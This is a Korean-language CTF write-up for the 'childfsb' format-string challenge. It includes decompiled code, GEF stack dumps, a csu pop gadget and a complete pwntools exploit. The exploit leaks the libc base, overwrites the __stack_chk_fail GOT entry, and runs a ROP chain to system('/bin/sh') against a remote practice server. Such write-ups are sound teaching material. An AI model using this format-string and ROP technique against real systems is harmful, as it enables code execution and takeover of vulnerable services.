int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[24]; // [rsp+0h] [rbp-20h] BYREF
unsigned __int64 v5; // [rsp+18h] [rbp-8h]
v5 = __readfsqword(0x28u);
Init(argc, argv, envp);
puts("hello");
read(0, buf, 0x19uLL);
printf(buf);
return 0;
}
baby fsb 문제는, leak&got overwrite
으로 __stack_check_fail
함수에서 메인으로 돌린 뒤,
릭한 주소로 onegadget
을 구해 __stack_check_fail@got
에 덮었다.
이번엔 input size 가 줄어서, 나눠서 덮던가 다른 방법을 써야겠다.
leak&got overwrite → main 돌리는 것 까지는 똑같다.
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x4005b0 <puts@plt+0> jmp QWORD PTR [rip+0x200a62] # 0x601018
0x4005b6 <puts@plt+6> push 0x0
0x4005bb <puts@plt+11> jmp 0x4005a0
→ 0x4005c0 <__stack_chk_fail@plt+0> jmp QWORD PTR [rip+0x200a5a] # 0x601020
0x4005c6 <__stack_chk_fail@plt+6> push 0x1
0x4005cb <__stack_chk_fail@plt+11> jmp 0x4005a0
0x4005d0 <setbuf@plt+0> jmp QWORD PTR [rip+0x200a52] # 0x601028
0x4005d6 <setbuf@plt+6> push 0x2
0x4005db <setbuf@plt+11> jmp 0x4005a0
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "childfsb", stopped 0x4005c0 in __stack_chk_fail@plt (), reason: SINGLE STEP
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x4005c0 → __stack_chk_fail@plt()
[#1] 0x4007ca → main()
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
0x00000000004005c0 in __stack_chk_fail@plt ()
gef➤ x/40gx $rsp
0x7ffc37130418: 0x00000000004007ca 0x7878787878787878
0x7ffc37130428: 0x7878787878787878 0x7878787878787878
0x7ffc37130438: 0x5f2e5b0c7e8cd878 0x00007ffc37130470
0x7ffc37130448: 0x00000000004007ca 0x3831257024313125
0x7ffc37130458: 0x6e68243825633337 0x0000000000601020
0x7ffc37130468: 0x5f2e5b0c7e8cd842 0x00000000004007d0
0x7ffc37130478: 0x00007f3129025bf7 0x0000000000000001
0x7ffc37130488: 0x00007ffc37130558 0x000000010000c000
0x7ffc37130498: 0x000000000040075f 0x0000000000000000
0x7ffc371304a8: 0x03802aa4f3031126 0x0000000000400630
0x7ffc371304b8: 0x00007ffc37130550 0x0000000000000000
0x7ffc371304c8: 0x0000000000000000 0xfc784402f5a31126
0x7ffc371304d8: 0xfde278204bfd1126 0x00007ffc00000000
0x7ffc371304e8: 0x0000000000000000 0x0000000000000000
0x7ffc371304f8: 0x00007f31294058d3 0x00007f31293eb638
0x7ffc37130508: 0x000000000003a3cd 0x0000000000000000
0x7ffc37130518: 0x0000000000000000 0x0000000000000000
0x7ffc37130528: 0x0000000000400630 0x00007ffc37130550
0x7ffc37130538: 0x0000000000400659 0x00007ffc37130548
0x7ffc37130548: 0x000000000000001c 0x0000000000000001
got overwrite 로 __stack_chk_fail 에서 main 으로 점프하는 시점이다.
0x7ffc37130448+8
여기가 이전 main 에서 입력한 페이로드다.
__stack_chk_fail@got → pop * 8 가젯으로 이전 payload 까지 pop 한 뒤, ROP 할 수 있을 것같다.
.text:0000000000400826 loc_400826: ; CODE XREF: __libc_csu_init+34↑j
.text:0000000000400826 add rsp, 8
.text:000000000040082A pop rbx
.text:000000000040082B pop rbp
.text:000000000040082C pop r12
.text:000000000040082E pop r13
.text:0000000000400830 pop r14
.text:0000000000400832 pop r15
.text:0000000000400834 retn
csu 에서 리턴하는 부분을 보면, 0x0000000000400826
에 8개를 pop 할 수 있는 가젯이 있다.(add rsp 포함)
exploit
- leak & overwrite __stack_chk_fail@got → main
- write ROP payload
- voerwrite __stack_chk_fail@got → pop * 8
- get shell
from pwn import *
import sys
context.binary = binary = "./childfsb"
# context.log_level='debug'
context.arch="amd64"
b=ELF(binary,checksec=False)
if '1' in sys.argv:
r = remote("ctf.j0n9hyun.xyz", 3037)
lib = ELF("./libc.so.6", checksec=False)
else:
r = b.process()
lib = b.libc
main_2=b.sym['main']&0xffff
pay=f"%11$p%{main_2-14}c%8$hn".encode()
pay+=b'A'*(16-len(pay))
pay+=p64(b.got['__stack_chk_fail'])
pay+=b'B'*(0x19-len(pay))
print(len(pay))
print(pay)
pause()
r.sendafter("hello\n",pay)
libc_base=int(r.recvn(14),16)-lib.sym['__libc_start_main']
libc_base&=~0xfff
log.info(hex(libc_base))
prdi=b.search(asm("pop rdi; ret")).__next__()
log.info(hex(prdi))
pay=p64(prdi)
pay+=p64(libc_base+lib.search(b"/bin/sh").__next__())
pay+=p64(libc_base+lib.sym['system'])
r.sendline(pay)
pop7=0x0000000000400826&0xffff
pay=f"%{pop7}c%8$hn".encode()
pay+=b'A'*(16-len(pay))
pay+=p64(b.got['__stack_chk_fail'])
pay+=b'B'*(0x19-len(pay))
r.send(pay)
r.interactive()
# %11$p %12$p %13$p %14$p